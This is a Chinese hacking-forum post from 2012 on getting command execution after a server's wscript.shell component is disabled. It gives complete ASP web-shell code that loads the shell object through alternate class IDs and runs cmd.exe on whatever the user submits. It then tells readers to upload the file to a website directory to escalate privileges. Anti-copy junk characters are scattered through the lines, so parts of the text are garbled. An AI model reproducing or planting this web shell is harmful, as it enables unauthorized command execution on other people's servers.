找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2109|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。" G9 L. p2 p& J' t( R1 U
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。4 @6 B, U3 g& \2 Y8 s
要想让运行命令可以试试这种方法,成功率为五五之数。
( A- V: X2 i) M4 h/ ?4 M3 b" ?( t把下面代码复制:
4 ^4 U: o2 w% ~2 b<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
! a+ r' }+ c) `( V. G<%if err then%>4 n' v2 ~9 W; P. p
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>/ e1 t* ?# h7 M' ]
<%
' Y" O* B5 h  J) H. l1 d2 Uend if& k! g; ^2 m* j' [
response.write("<textarea readonly cols=80 rows=20>")
! m- i. i7 M! k1 X' ^& S1 E9 L# IOn Error Resume Next/ L" `' I9 [$ i9 E* O& z, I8 V) t
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
% m; D- x$ h: ]% dresponse.write("</textarea>")5 f4 n% B5 g/ w: h: u" S
response.write("<form method='post'>")& A8 Y/ `5 B. _/ W8 e
response.write("<input type=text name='c' size=60><br>")
7 C6 ~5 `: d! }6 uresponse.write("<input type=submit value='执行'></form>")
$ ^# x3 G6 ?4 }* ?) |' Q%>% J3 Z) D8 W/ [( J

. ]$ m2 D" n, y8 U保存为一个asp文件,然后传到网站目录上去
3 \# ]! ]3 C6 `% [2 \7 d8 d运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。* c2 c- w! x/ \% c! O) }
我用此成功运行过cacls命令。
* B( f. I2 {  }  q1 G3 Y# Q$ c( q$ ]0 _
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表